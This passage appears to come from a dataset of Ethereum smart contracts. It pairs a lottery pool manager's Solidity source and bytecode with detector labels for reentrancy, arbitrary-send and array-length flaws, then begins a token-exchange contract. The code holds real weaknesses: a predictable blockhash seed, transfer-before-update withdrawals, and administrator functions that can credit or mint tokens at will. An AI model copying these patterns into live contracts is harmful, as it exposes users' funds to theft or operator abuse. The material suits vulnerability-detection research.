}
function getStartBlock() public constant returns (uint)
{
return startBlock;
}
function getCurrAmount() public constant returns (uint)
{
return currAmount;
}
function getTicketPrice() public constant returns (uint)
{
return ticketPrice;
}
function getTicketCount() public constant returns (uint)
{
return ticketCount;
}
function getBoughtTicketCount() public constant returns (uint)
{
return players.length;
}
function getAvailableTicketCount() public constant returns (uint)
{
return ticketCount - players.length;
}
function getEndDate() public constant returns (uint)
{
return endDate;
}
function getEndBlock() public constant returns (uint)
{
return endBlock;
}
function getDuration() public constant returns (uint)
{
return duration; // duration in blocks
}
function getDurationS() public constant returns (uint)
{
return duration * blockDuration; // duration in seconds
}
function isEnded() public constant returns (bool)
{
return ended;
}
function isTerminated() public constant returns (bool)
{
return terminated;
}
function isMoneySent() public constant returns (bool)
{
return moneySent;
}
function getWinner() public constant returns (address)
{
return winner;
}
//End trigger
function checkEnd() public
{
if ( (duration > 0 && block.number >= startBlock + duration) || (players.length >= ticketCount) )
{
ended = true;
endDate = now;
endBlock = block.number;
}
}
//Add player with ticketCount to the pool (only poolManager can do this)
function addPlayer(address player, uint ticketBoughtCount, uint amount) public
{
//Only manager can call this
require(msg.sender == poolManager);
//Revert if pool ended (should not happen because the manager check this too)
require (!ended);
//Add amount to the pool
currAmount += amount; // amount has been checked by the manager
//Add player to the ticket owner array, for each bought ticket
for (uint i = 0; i < ticketBoughtCount; i++)
players.push(player);
//Check end
checkEnd();
}
function canTerminate() public constant returns(bool)
{
return ended && !terminated && block.number - endBlock >= minWaitDuration;
}
//Terminate the pool by picking a winner (only poolManager can do this, after the pool is ended and some time has passed so the seed has changed many times)
function terminate(uint randSeed) public
{
//Only manager can call this
require(msg.sender == poolManager);
//The pool need to be ended, but not terminated
require(ended && !terminated);
//Min duration between ended and terminated
require(block.number - endBlock >= minWaitDuration);
//Only one call to this function
terminated = true;
//Pick a winner
if (players.length > 0)
winner = players[randSeed % players.length];
}
//Update pool state (only poolManager can call this when the money has been sent)
function onMoneySent() public
{
//Only manager can call this
require(msg.sender == poolManager);
//The pool must be terminated (winner picked)
require(terminated);
//Update money sent (only one call to this function)
require(!moneySent);
moneySent = true;
}
}
//Wallet interface
contract WalletContract
{
function payMe() public payable;
}
contract PoolManager {
//Pool owner (address which manage the pool creation)
address owner;
//Wallet which receive the fees (1% of ticket price)
address wallet;
//Fees infos (external websites providing access to pools get 1% too)
mapping(address => uint) fees;
//Fees divider (1% for the wallet, and 1% for external website where player can buy tickets)
uint constant feeDivider = 100; //(1/100 of the amount)
//The ticket price for pools must be a multiple of 0.010205 ether (to avoid truncating the fees, and having a minimum to send to the winner)
uint constant ticketPriceMultiple = 10205000000000000; //(multiple of 0.010205 ether for ticketPrice)
//Pools infos (current active pools. When a pool is done, it goes into the poolsDone array bellow and a new pool is created to replace it at the same index)
SmartPool[] pools;
//Ended pools (cleaned automatically after winners get their prices)
SmartPool[] poolsDone;
//History (contains all the pools since the deploy)
SmartPool[] poolsHistory;
//Current rand seed (it changes a lot so it's pretty hard to know its value when the winner is picked)
uint randSeed;
//Constructor (only owner)
function PoolManager(address wal) public
{
owner = msg.sender;
wallet = wal;
randSeed = 0;
}
//Called frequently by other functions to keep the seed moving
function updateSeed() private
{
randSeed += (uint(block.blockhash(block.number - 1)));
}
//Create a new pool (only owner can do this)
function addPool(uint ticketPrice, uint ticketCount, uint duration) public
{
require(msg.sender == owner);
require(ticketPrice >= ticketPriceMultiple && ticketPrice % ticketPriceMultiple == 0);
//Deploy a new pool
pools.push(new SmartPool(ticketPrice, ticketCount, duration));
}
//Accessors (public)
//Get Active Pools
function getPoolCount() public constant returns(uint)
{
return pools.length;
}
function getPool(uint index) public constant returns(address)
{
require(index < pools.length);
return pools[index];
}
//Get Ended Pools
function getPoolDoneCount() public constant returns(uint)
{
return poolsDone.length;
}
function getPoolDone(uint index) public constant returns(address)
{
require(index < poolsDone.length);
return poolsDone[index];
}
//Get History
function getPoolHistoryCount() public constant returns(uint)
{
return poolsHistory.length;
}
function getPoolHistory(uint index) public constant returns(address)
{
require(index < poolsHistory.length);
return poolsHistory[index];
}
//Buy tickets for a pool (public)
function buyTicket(uint poolIndex, uint ticketCount, address websiteFeeAddr) public payable
{
require(poolIndex < pools.length);
require(ticketCount > 0);
//Get pool and check state
SmartPool pool = pools[poolIndex];
pool.checkEnd();
require (!pool.isEnded());
//Adjust ticketCount according to available tickets
uint availableCount = pool.getAvailableTicketCount();
if (ticketCount > availableCount)
ticketCount = availableCount;
//Get amount required and check msg.value
uint amountRequired = ticketCount * pool.getTicketPrice();
require(msg.value >= amountRequired);
//If too much value sent, we send it back to player
uint amountLeft = msg.value - amountRequired;
//if no websiteFeeAddr given, the wallet get the fee
if (websiteFeeAddr == address(0))
websiteFeeAddr = wallet;
//Compute fee
uint feeAmount = amountRequired / feeDivider;
addFee(websiteFeeAddr, feeAmount);
addFee(wallet, feeAmount);
//Add player to the pool with the amount minus the fees (1% + 1% = 2%)
pool.addPlayer(msg.sender, ticketCount, amountRequired - 2 * feeAmount);
//Send back amountLeft to player if too much value sent
if (amountLeft > 0 && !msg.sender.send(amountLeft))
{
addFee(wallet, amountLeft); // if it fails, we take it as a fee..
}
updateSeed();
}
//Check pools end. (called by our console each 10 minutes, or can be called by anybody)
function checkPoolsEnd() public
{
for (uint i = 0; i < pools.length; i++)
{
//Check each pool and restart the ended ones
checkPoolEnd(i);
}
}
//Check end of a pool and restart it if it's ended (public)
function checkPoolEnd(uint i) public
{
require(i < pools.length);
//Check end (if not triggered yet)
SmartPool pool = pools[i];
if (!pool.isEnded())
pool.checkEnd();
if (!pool.isEnded())
{
return; // not ended yet
}
updateSeed();
//Store pool done and restart a pool to replace it
poolsDone.push(pool);
pools[i] = new SmartPool(pool.getTicketPrice(), pool.getTicketCount(), pool.getDurationS());
}
//Check pools done. (called by our console, or can be called by anybody)
function checkPoolsDone() public
{
for (uint i = 0; i < poolsDone.length; i++)
{
checkPoolDone(i);
}
}
//Check end of one pool
function checkPoolDone(uint i) public
{
require(i < poolsDone.length);
SmartPool pool = poolsDone[i];
if (pool.isTerminated())
return; // already terminated
if (!pool.canTerminate())
return; // we need to wait a bit more before random occurs, so the seed has changed enough (60 minutes before ended and terminated states)
updateSeed();
//Terminate (pick a winner) and store pool done
pool.terminate(randSeed);
}
//Send money of the pool to the winner (public)
function sendPoolMoney(uint i) public
{
require(i < poolsDone.length);
SmartPool pool = poolsDone[i];
require (pool.isTerminated()); // we need a winner picked
require(!pool.isMoneySent()); // money not sent
uint amount = pool.getCurrAmount();
address winner = pool.getWinner();
pool.onMoneySent();
if (amount > 0 && !winner.send(amount)) // the winner can't get his money (should not happen)
{
addFee(wallet, amount);
}
//Pool goes into history array
poolsHistory.push(pool);
}
//Clear pools done array (called once a week by our console, or can be called by anybody)
function clearPoolsDone() public
{
//Make sure all pools are terminated with no money left
for (uint i = 0; i < poolsDone.length; i++)
{
if (!poolsDone[i].isMoneySent())
return;
}
//"Clear" poolsDone array (just reset the length, instances will be override)
poolsDone.length = 0;
}
//Get current fee value
function getFeeValue(address a) public constant returns (uint)
{
if (a == address(0))
a = msg.sender;
return fees[a];
}
//Send fee to address (public, with a min amount required)
function getMyFee(address a) public
{
if (a == address(0))
a = msg.sender;
uint amount = fees[a];
require (amount > 0);
fees[a] = 0;
if (a == wallet)
{
WalletContract walletContract = WalletContract(a);
walletContract.payMe.value(amount)();
}
else if (!a.send(amount))
addFee(wallet, amount); // the fee can't be sent (hacking attempt?), so we take it... :-p
}
//Add fee (private)
function addFee(address a, uint fee) private
{
if (fees[a] == 0)
fees[a] = fee;
else
fees[a] += fee; // we don't check for overflow, if you're billionaire in fees, call getMyFee sometimes :-)
}
} | 0x60606040523615620000f4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680628e686514620000f9578063068bcd8d146200013b57806316ab4b1714620001a15780631bb4067b14620001b957806321f4d29f14620001df578063232fd216146200024557806338a964d614620002ab5780633ad9f72214620002fb57806378e88c3c14620003215780637af91032146200035d5780637d12b6891462000389578063832bc28d14620003a15780638eec5d7014620003cd57806390baaa5c14620003f95780639d463b99146200041f578063be90be7f1462000457575b600080fd5b62000139600480803590602001909190803590602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506200046f565b005b34156200014757600080fd5b6200015f600480803590602001909190505062000919565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415620001ad57600080fd5b620001b762000972565b005b3415620001c557600080fd5b620001dd6004808035906020019091905050620009a2565b005b3415620001eb57600080fd5b62000203600480803590602001909190505062000bb6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156200025157600080fd5b62000269600480803590602001909190505062000c0f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415620002b757600080fd5b620002e5600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505062000c68565b6040518082815260200191505060405180910390f35b34156200030757600080fd5b6200031f600480803590602001909190505062000cea565b005b34156200032d57600080fd5b6200035b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050620010de565b005b34156200036957600080fd5b62000373620012fd565b6040518082815260200191505060405180910390f35b34156200039557600080fd5b6200039f6200130a565b005b3415620003ad57600080fd5b620003b76200133a565b6040518082815260200191505060405180910390f35b3415620003d957600080fd5b620003e362001347565b6040518082815260200191505060405180910390f35b34156200040557600080fd5b6200041d600480803590602001909190505062001354565b005b34156200042b57600080fd5b620004556004808035906020019091908035906020019091908035906020019091905050620017e8565b005b34156200046357600080fd5b6200046d62001920565b005b6000806000806000600380549050881015156200048b57600080fd5b6000871115156200049b57600080fd5b600388815481101515620004ab57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1694508473ffffffffffffffffffffffffffffffffffffffff16634b084d496040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b15156200053d57600080fd5b6102c65a03f115156200054f57600080fd5b5050508473ffffffffffffffffffffffffffffffffffffffff1663a4fd6f566000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515620005bf57600080fd5b6102c65a03f11515620005d157600080fd5b50505060405180519050151515620005e857600080fd5b8473ffffffffffffffffffffffffffffffffffffffff166323b364ab6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156200065557600080fd5b6102c65a03f115156200066757600080fd5b5050506040518051905093508387111562000680578396505b8473ffffffffffffffffffffffffffffffffffffffff166387bb7ae06000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515620006ed57600080fd5b6102c65a03f11515620006ff57600080fd5b50505060405180519050870292508234101515156200071d57600080fd5b8234039150600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156200077e57600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1695505b6064838115156200078b57fe5b0490506200079a868262001a29565b620007c8600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168262001a29565b8473ffffffffffffffffffffffffffffffffffffffff1663c01e38e633898460020287036040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019350505050600060405180830381600087803b15156200087857600080fd5b6102c65a03f115156200088a57600080fd5b505050600082118015620008d057503373ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050155b15620009055762000904600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168362001a29565b5b6200090f62001b0e565b5050505050505050565b6000600380549050821015156200092f57600080fd5b6003828154811015156200093f57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60008090505b6003805490508110156200099f57620009918162001354565b808060010191505062000978565b50565b600060048054905082101515620009b857600080fd5b600482815481101515620009c857fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663d1cc99766000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151562000a6357600080fd5b6102c65a03f1151562000a7557600080fd5b505050604051805190501562000a8b5762000bb2565b8073ffffffffffffffffffffffffffffffffffffffff1663c7c3b1c16000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151562000af857600080fd5b6102c65a03f1151562000b0a57600080fd5b50505060405180519050151562000b215762000bb2565b62000b2b62001b0e565b8073ffffffffffffffffffffffffffffffffffffffff16637a828b286006546040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b151562000b9c57600080fd5b6102c65a03f1151562000bae57600080fd5b5050505b5050565b60006005805490508210151562000bcc57600080fd5b60058281548110151562000bdc57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60006004805490508210151562000c2557600080fd5b60048281548110151562000c3557fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000ca3573391505b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060006004805490508410151562000d0357600080fd5b60048481548110151562000d1357fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1692508273ffffffffffffffffffffffffffffffffffffffff1663d1cc99766000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151562000dae57600080fd5b6102c65a03f1151562000dc057600080fd5b50505060405180519050151562000dd657600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a410424e6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151562000e4357600080fd5b6102c65a03f1151562000e5557600080fd5b5050506040518051905015151562000e6c57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff16631716f47e6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151562000ed957600080fd5b6102c65a03f1151562000eeb57600080fd5b5050506040518051905091508273ffffffffffffffffffffffffffffffffffffffff16638e7ea5b26000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151562000f6457600080fd5b6102c65a03f1151562000f7657600080fd5b5050506040518051905090508273ffffffffffffffffffffffffffffffffffffffff1663efeb4ad76040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b151562000fe657600080fd5b6102c65a03f1151562000ff857600080fd5b5050506000821180156200103e57508073ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050155b15620010735762001072600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168362001a29565b5b6005805480600101828162001089919062001b28565b9160005260206000209001600085909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050505050565b600080600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156200111b573392505b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491506000821115156200116d57600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156200128c578290508073ffffffffffffffffffffffffffffffffffffffff1663d997ccb3836040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016000604051808303818588803b15156200127057600080fd5b6125ee5a03f115156200128257600080fd5b50505050620012f8565b8273ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501515620012f757620012f6600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168362001a29565b5b5b505050565b6000600480549050905090565b60008090505b60048054905081101562001337576200132981620009a2565b808060010191505062001310565b50565b6000600580549050905090565b6000600380549050905090565b6000600380549050821015156200136a57600080fd5b6003828154811015156200137a57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663a4fd6f566000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156200141557600080fd5b6102c65a03f115156200142757600080fd5b505050604051805190501515620014b2578073ffffffffffffffffffffffffffffffffffffffff16634b084d496040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b15156200149c57600080fd5b6102c65a03f11515620014ae57600080fd5b5050505b8073ffffffffffffffffffffffffffffffffffffffff1663a4fd6f566000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156200151f57600080fd5b6102c65a03f115156200153157600080fd5b5050506040518051905015156200154857620017e4565b6200155262001b0e565b6004805480600101828162001568919062001b28565b9160005260206000209001600083909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508073ffffffffffffffffffffffffffffffffffffffff166387bb7ae06000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156200162457600080fd5b6102c65a03f115156200163657600080fd5b505050604051805190508173ffffffffffffffffffffffffffffffffffffffff166321c63a476000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515620016ad57600080fd5b6102c65a03f11515620016bf57600080fd5b505050604051805190508273ffffffffffffffffffffffffffffffffffffffff1662bde0306000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156200173557600080fd5b6102c65a03f115156200174757600080fd5b505050604051805190506200175b62001b57565b808481526020018381526020018281526020019350505050604051809103906000f08015156200178a57600080fd5b6003838154811015156200179a57fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156200184457600080fd5b66244164b7eed00083101580156200186f5750600066244164b7eed000848115156200186c57fe5b06145b15156200187b57600080fd5b6003805480600101828162001891919062001b28565b91600052602060002090016000858585620018ab62001b57565b808481526020018381526020018281526020019350505050604051809103906000f0801515620018da57600080fd5b909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050565b60008090505b60048054905081101562001a13576004818154811015156200194457fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a410424e6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515620019dc57600080fd5b6102c65a03f11515620019ee57600080fd5b50505060405180519050151562001a055762001a26565b808060010191505062001926565b600060048162001a24919062001b68565b505b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141562001abc5780600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062001b0a565b80600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b5050565b600143034060019004600660008282540192505081905550565b81548183558181151162001b525781836000526020600020918201910162001b51919062001b97565b5b505050565b604051610c9f8062001bc083390190565b81548183558181151162001b925781836000526020600020918201910162001b91919062001b97565b5b505050565b62001bbc91905b8082111562001bb857600081600090555060010162001b9e565b5090565b9056006060604052341561000f57600080fd5b604051606080610c9f83398101604052808051906020019091908051906020019091908051906020019091905050600083118015610058575060008211806100575750600f81115b5b151561006357600080fd5b428142011015151561007457600080fd5b60008214156100ac57827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8115156100a857fe5b0491505b82838302101515156100bd57600080fd5b33600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600080819055504260028190555060006003819055504360048190555060006005819055508260018190555081600781905550600f8181151561013d57fe5b046006819055506000600860006101000a81548160ff0219169083151502179055506000600860016101000a81548160ff0219169083151502179055506000600860026101000a81548160ff0219169083151502179055506000600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050610ab6806101e96000396000f3006060604052361561011a576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168062bde0301461011f5780631716f47e1461014857806321c63a471461017157806323b364ab1461019a5780634b084d49146101c357806366d10688146101d857806378f305c6146102015780637a828b281461022a57806387bb7ae01461024d5780638b5b9ccc146102765780638e7ea5b2146102e0578063a410424e14610335578063a4fd6f5614610362578063a5f18c011461038f578063ad2e8c9b146103b8578063b1356488146103e1578063c01e38e61461040a578063c7c3b1c114610455578063d1cc997614610482578063efeb4ad7146104af578063fb7a5f4f146104c4575b600080fd5b341561012a57600080fd5b6101326104ed565b6040518082815260200191505060405180910390f35b341561015357600080fd5b61015b6104fa565b6040518082815260200191505060405180910390f35b341561017c57600080fd5b610184610503565b6040518082815260200191505060405180910390f35b34156101a557600080fd5b6101ad61050d565b6040518082815260200191505060405180910390f35b34156101ce57600080fd5b6101d661051e565b005b34156101e357600080fd5b6101eb610579565b6040518082815260200191505060405180910390f35b341561020c57600080fd5b610214610586565b6040518082815260200191505060405180910390f35b341561023557600080fd5b61024b6004808035906020019091905050610590565b005b341561025857600080fd5b6102606106eb565b6040518082815260200191505060405180910390f35b341561028157600080fd5b6102896106f5565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156102cc5780820151818401526020810190506102b1565b505050509050019250505060405180910390f35b34156102eb57600080fd5b6102f3610789565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561034057600080fd5b6103486107b3565b604051808215151515815260200191505060405180910390f35b341561036d57600080fd5b6103756107ca565b604051808215151515815260200191505060405180910390f35b341561039a57600080fd5b6103a26107e1565b6040518082815260200191505060405180910390f35b34156103c357600080fd5b6103cb6107eb565b6040518082815260200191505060405180910390f35b34156103ec57600080fd5b6103f46107f5565b6040518082815260200191505060405180910390f35b341561041557600080fd5b610453600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919080359060200190919050506107ff565b005b341561046057600080fd5b610468610913565b604051808215151515815260200191505060405180910390f35b341561048d57600080fd5b610495610954565b604051808215151515815260200191505060405180910390f35b34156104ba57600080fd5b6104c261096b565b005b34156104cf57600080fd5b6104d7610a1b565b6040518082815260200191505060405180910390f35b6000600f60065402905090565b60008054905090565b6000600754905090565b600060098054905060075403905090565b60006006541180156105365750600654600454014310155b80610548575060075460098054905010155b15610577576001600860006101000a81548160ff02191690831515021790555042600381905550436005819055505b565b6000600980549050905090565b6000600254905090565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156105ec57600080fd5b600860009054906101000a900460ff1680156106155750600860019054906101000a900460ff16155b151561062057600080fd5b60f060055443031015151561063457600080fd5b6001600860016101000a81548160ff021916908315150217905550600060098054905011156106e857600980805490508281151561066e57fe5b0681548110151561067b57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6000600154905090565b6106fd610a25565b600980548060200260200160405190810160405280929190818152602001828054801561077f57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311610735575b5050505050905090565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600860029054906101000a900460ff16905090565b6000600860009054906101000a900460ff16905090565b6000600454905090565b6000600654905090565b6000600354905090565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561085d57600080fd5b600860009054906101000a900460ff1615151561087957600080fd5b816000808282540192505081905550600090505b8281101561090557600980548060010182816108a99190610a39565b9160005260206000209001600086909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050808060010191505061088d565b61090d61051e565b50505050565b6000600860009054906101000a900460ff16801561093e5750600860019054906101000a900460ff16155b801561094f575060f0600554430310155b905090565b6000600860019054906101000a900460ff16905090565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109c757600080fd5b600860019054906101000a900460ff1615156109e257600080fd5b600860029054906101000a900460ff161515156109fe57600080fd5b6001600860026101000a81548160ff021916908315150217905550565b6000600554905090565b602060405190810160405280600081525090565b815481835581811511610a6057818360005260206000209182019101610a5f9190610a65565b5b505050565b610a8791905b80821115610a83576000816000905550600101610a6b565b5090565b905600a165627a7a7230582007adfee9deaa2d3621d489a36c09406590d6f2e116554731712cf141441e28d20029a165627a7a72305820d15f2356d03b77e96f80ec1fe3f65fdf40b118a5a10f8349bbc01bb658271b5d0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 10,162 |
0xd54819a71b5b9e76018feb0c5d57fac1c0f0d37d | pragma solidity ^0.4.26;
contract DTT_Exchange {
// only people with tokens
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[_customerAddress]);
_;
}
/*==============================
= EVENTS =
==============================*/
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
// ERC20
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
/*=====================================
= CONFIGURABLES =
=====================================*/
string public name = "DTT Exchange";
string public symbol = "DTT";
uint8 constant public decimals = 0;
uint256 public totalSupply_ = 900000;
uint256 constant internal tokenPriceInitial_ = 270000000000000;
uint256 constant internal tokenPriceIncremental_ = 270000000;
uint256 public percent = 75;
uint256 public currentPrice_ = tokenPriceInitial_ + tokenPriceIncremental_;
uint256 public grv = 1;
address commissionHolder; // holds commissions fees
address stakeHolder; // holds stake
address dev2; // Growth funds
address dev3; // Compliance funds
address dev4; // Marketing Funds
address dev5; // Development funds
address dev6; // Research Funds
/*================================
= DATASETS =
================================*/
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal etherBalanceLedger_;
address sonk;
uint256 internal tokenSupply_ = 0;
// uint256 internal profitPerShare_;
mapping(address => bool) public administrators;
uint256 commFunds=0;
constructor() public
{
sonk = msg.sender;
administrators[sonk] = true;
commissionHolder = sonk;
stakeHolder = sonk;
commFunds = 0;
}
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
function holdStake(uint256 _amount)
onlyBagholders()
public
{
tokenBalanceLedger_[msg.sender] = SafeMath.sub(tokenBalanceLedger_[msg.sender], _amount);
tokenBalanceLedger_[stakeHolder] = SafeMath.add(tokenBalanceLedger_[stakeHolder], _amount);
}
function unstake(uint256 _amount, address _customerAddress)
onlyAdministrator()
public
{
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress],_amount);
tokenBalanceLedger_[stakeHolder] = SafeMath.sub(tokenBalanceLedger_[stakeHolder], _amount);
}
function withdrawRewards(uint256 _amount, address _customerAddress)
onlyAdministrator()
public
{
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress],_amount);
tokenSupply_ = SafeMath.add (tokenSupply_,_amount);
}
function withdrawComm(uint256 _amount, address _customerAddress)
onlyAdministrator()
public
{
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress],_amount);
tokenBalanceLedger_[commissionHolder] = SafeMath.sub(tokenBalanceLedger_[commissionHolder], _amount);
}
function withdrawEthers()
public
{
msg.sender.transfer(etherBalanceLedger_[msg.sender]);
etherBalanceLedger_[msg.sender] = 0;
}
/**
* Alias of sell() and withdraw().
*/
function exit()
public
{
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
}
/**
* Liquifies tokens to ethereum.
*/
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
// setup data
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens,true);
uint256 _dividends = _ethereum * percent/1000;//SafeMath.div(_ethereum, dividendFee_); // 7.5% sell fees
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
commFunds += _dividends;
// burn the sold tokens
